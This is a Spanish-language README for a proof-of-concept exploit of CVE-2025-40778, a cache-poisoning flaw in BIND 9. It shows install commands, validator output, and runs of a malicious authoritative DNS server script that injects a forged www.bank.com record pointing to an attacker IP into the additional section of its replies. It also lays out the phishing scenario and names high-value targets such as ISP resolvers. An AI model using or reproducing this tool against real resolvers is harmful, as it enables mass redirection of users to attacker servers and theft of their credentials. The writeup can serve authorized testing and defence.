
Prueba de concepto que demuestra el envenenamiento de caché DNS mediante la inyección de registros adicionales en BIND 9, con herramientas para validar y explotar CVE-2025-40778 para pruebas de seguridad autorizadas.
Demostración educativa de la vulnerabilidad de envenenamiento de caché DNS mediante inyección de registros adicionales.
SOLO CON FINES EDUCATIVOS
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito de prueba es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.
Esta PoC demuestra cómo un servidor DNS autoritativo comprometido puede inyectar registros envenenados en las respuestas DNS, redirigiendo potencialmente a los usuarios a servidores maliciosos sin su conocimiento.
Vector de ataque:
Escenarios posibles:
👤 Autor y Contacto
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Esta herramienta detecta si es posible explotar la vulnerabilidad CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descripción: En este paso, se lanza el servidor DNS autoritativo malicioso que simula un servidor de nombres comprometido. El servidor escucha en una IP y puerto específicos (127.0.0.2:5301), listo para inyectar registros DNS envenenados en las respuestas. Cuando está configurado, responderá a consultas legítimas para www.test.local con la dirección IP correcta, pero simultáneamente inyectará un registro malicioso para www.bank.com que apunta a una IP controlada por el atacante. Este comportamiento de doble respuesta es el núcleo del ataque de envenenamiento de caché: el resolver DNS vulnerable almacenará en caché tanto la respuesta legítima como el registro envenenado, aunque solo se haya solicitado un dominio.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descripción: Aquí se realiza una consulta DNS estándar a través del resolver local (BIND) para verificar que la infraestructura funciona correctamente. La consulta para www.test.local debería devolver la dirección IP legítima (192.168.0.136) como se espera. En este punto, la respuesta parece normal para el usuario final: no hay indicación visible de compromiso. Sin embargo, entre bastidores, el resolver DNS vulnerable ya ha almacenado en caché ambos registros: el legítimo que solicitó Y el registro envenenado para www.bank.com que se inyectó en la sección adicional de la respuesta. Este paso confirma que el resolver DNS se comunicó exitosamente con el servidor autoritativo malicioso y procesó su respuesta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Descripción: Este paso revela la evidencia del envenenamiento de caché exitoso desde la perspectiva del atacante. Los registros del servidor DNS malicioso muestran que recibió la consulta para www.test.local, respondió con la respuesta legítima Y inyectó exitosamente el registro envenenado para www.bank.com. La notación "RRs: A,A" indica que se enviaron dos registros A en la respuesta: uno legítimo y uno malicioso. En este momento, la caché DNS de la víctima está comprometida. Cualquier consulta posterior para www.bank.com desde este resolver devolverá la IP del atacante (192.168.0.100) en lugar del sitio web bancario real, lo que permite ataques de phishing transparentes donde los usuarios ven la URL correcta pero se conectan a un servidor malicioso. El ataque es invisible para los usuarios finales y persistirá hasta que expire la caché DNS (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
Qué Significa Esto en la Práctica:
Imagina que eres un usuario regular que intenta acceder al sitio web de su banco. Escribes cuidadosamente www.bank.com en tu navegador: la URL es 100% correcta, sin errores tipográficos, sin enlaces sospechosos de correos electrónicos. La barra de direcciones de tu navegador muestra el dominio exacto en el que confías. Todo parece legítimo.
Pero esto es lo que realmente sucedió entre bastidores:
El servidor DNS de tu empresa fue comprometido por un atacante que envenenó su caché utilizando esta vulnerabilidad. Cuando tu computadora pregunta "¿Dónde está www.bank.com?", el DNS envenenado responde con la dirección IP del servidor del atacante en lugar de la dirección real del banco.
La Anatomía de un Ataque
Lo que el atacante puede robar:
Por qué es tan peligroso:
Este ataque es completamente invisible para la víctima. No hay advertencia, no hay señales de alerta, no hay forma de que un usuario promedio lo detecte. Incluso los profesionales conscientes de la seguridad pueden ser víctimas porque el ataque ocurre a nivel de infraestructura, no en el dispositivo del usuario. Un solo servidor DNS comprometido puede afectar a miles de usuarios simultáneamente, lo que lo convierte en un vector de ataque altamente efectivo para los ciberdelincuentes que atacan organizaciones.
La conclusión: CVE-2025-40778 permite a los atacantes convertir la confianza en un arma. Cuando la propia infraestructura en la que confiamos para navegar por Internet se ve comprometida, incluso los usuarios más cautelosos se vuelven vulnerables. Por eso comprender, probar y mitigar esta vulnerabilidad es fundamental para la postura de seguridad de cualquier organización.
Requisito Crítico: Para que este ataque tenga éxito, la víctima debe estar utilizando el resolver DNS comprometido. El ataque no se dirige directamente a los dispositivos de los usuarios finales; en cambio, se dirige a la infraestructura DNS de la que dependen los usuarios para navegar por Internet.
Objetivos de Ataque en el Mundo Real:
El objetivo principal del atacante es comprometer los resolvers DNS que sirven a grandes bases de usuarios. Los objetivos más valiosos incluyen:
Por Qué Esto Importa:
La efectividad del ataque escala con la base de usuarios del resolver DNS. Compromete el servidor DNS de un ISP y potencialmente comprometes a cada cliente que no haya cambiado manualmente su configuración DNS. Por eso la seguridad DNS a nivel de infraestructura es crítica: un solo resolver vulnerable puede crear una superficie de ataque masiva que afecte a miles o millones de usuarios que confían en que esa infraestructura sea segura.